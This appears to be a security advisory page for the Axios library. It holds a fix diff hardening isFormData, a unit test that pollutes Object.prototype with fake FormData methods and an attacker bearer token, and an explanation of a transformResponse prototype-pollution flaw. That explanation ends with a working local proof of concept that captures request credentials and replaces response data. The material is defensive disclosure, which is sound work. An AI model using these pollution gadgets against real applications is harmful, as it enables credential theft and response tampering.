lib/utils.js+8 −5 modified@@ -206,11 +206,14 @@ function isStream(val) { */ function isFormData(thing) { var pattern = '[object FormData]'; - return thing && ( - (typeof FormData === 'function' && thing instanceof FormData) || - toString.call(thing) === pattern || - (isFunction(thing.toString) && thing.toString() === pattern) - ); + if (!thing) return false; + if (typeof FormData === 'function' && thing instanceof FormData) return true; + // Reject plain objects inheriting directly from Object.prototype so prototype-pollution gadgets can't spoof FormData (GHSA-6chq-wfr3-2hj9). + var proto = Object.getPrototypeOf(thing); + if (!proto || proto === Object.prototype) return false; + if (!isFunction(thing.append)) return false; + return toString.call(thing) === pattern || + (isFunction(thing.toString) && thing.toString() === pattern); } /**
test/unit/adapters/http.js+56 −0 modified@@ -1675,4 +1675,60 @@ describe('supports http with nodejs', function () { }).catch(done); }); }); + + describe('prototype pollution (GHSA-6chq-wfr3-2hj9)', function () { + var pollutedKeys = ['getHeaders', 'append', 'pipe', 'on', 'once']; + var toStringTagSym = Symbol.toStringTag; + + function pollute() { + Object.prototype[toStringTagSym] = 'FormData'; + Object.prototype.append = function () {}; + Object.prototype.getHeaders = function () { + return { + 'x-injected': 'attacker', + 'authorization': 'Bearer ATTACKER_TOKEN' + }; + }; + Object.prototype.pipe = function (d) { if (d && d.end) d.end(); return d; }; + Object.prototype.on = function () { return this; }; + Object.prototype.once = function () { return this; }; + } + + function cleanup() { + for (var i = 0; i < pollutedKeys.length; i++) delete Object.prototype[pollutedKeys[i]]; + delete Object.prototype[toStringTagSym]; + } + + it('should not merge prototype-polluted getHeaders into outgoing request', function (done) { + var receivedHeaders; + server = http.createServer(function (req, res) { + receivedHeaders = req.headers; + res.end('{}'); + }).listen(4444, function () { + pollute(); + var finish = function (requestError) { + cleanup(); + try { + assert.ok( + receivedHeaders, + 'request must reach server to prove polluted headers were not merged' + + (requestError ? ' (request errored: ' + requestError.message + ')' : '') + ); + assert.strictEqual(receivedHeaders['x-injected'], undefined); + assert.notStrictEqual(receivedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); + done(); + } catch (e) { + done(e); + } + }; + axios.post('http://localhost:4444/', { userId: 42 }, { + headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } + }).then(function () { + finish(); + }).catch(function (err) { + finish(err); + }); + }); + }); + }); });
Vulnerability mechanics
Root cause
"mergeConfig() reads config properties via standard property access that traverses the prototype chain, allowing a polluted Object.prototype.transformResponse to override Axios's default response transform."
Attack vector
An attacker must first pollute `Object.prototype.transformResponse` with a function through a separate prototype-pollution vulnerability (e.g., in `qs`, `minimist`, `lodash`, or `body-parser`). When Axios later merges request config via `mergeConfig()`, the missing own property on the config object falls through to the polluted prototype value. The inherited function is then executed by `transformData()` with `this` set to the full request config, exposing `auth.username`, `auth.password`, URL, and headers, and allowing the attacker to replace the response data [CWE-1321] [ref_id=1].
Affected code
The vulnerability resides in `lib/core/mergeConfig.js` (the `defaultToConfig2` helper) and `lib/core/transformData.js`. `mergeConfig()` reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted, it overrides the default response transform, and the injected function executes in `transformData.js` with `this` bound to the request config [ref_id=1].
What the fix does
The patches introduce own-property checks (e.g., `Object.prototype.hasOwnProperty.call(config2, prop)`) in the config merge logic and use null-prototype config objects, so inherited `Object.prototype` values are no longer treated as Axios config or validator schema entries [patch_id=3102124] [patch_id=3102125]. This prevents a polluted `transformResponse` from being picked up during config merging and from being executed as a response transform.
Preconditions
- inputA separate prototype-pollution vulnerability must exist in the same JavaScript process to pollute Object.prototype.transformResponse before Axios creates a request
- inputThe polluted value must be a function (not a JSON-like value) for credential theft and response tampering; non-function values cause denial of service
- configPollution must occur before Axios merges or validates the request config
- configThe request config must not have its own transformResponse property, so the prototype chain fallback is triggered
Reproduction
```js import http from 'http'; import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); });
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data });
return { hijacked: true }; }
return true; };
try { const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } });
console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse;
server.close(); } ``` On fully affected versions the polluted transform runs, captures request config and response data, and replaces the response. On fixed versions the polluted transform is ignored [ref_id=1].
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.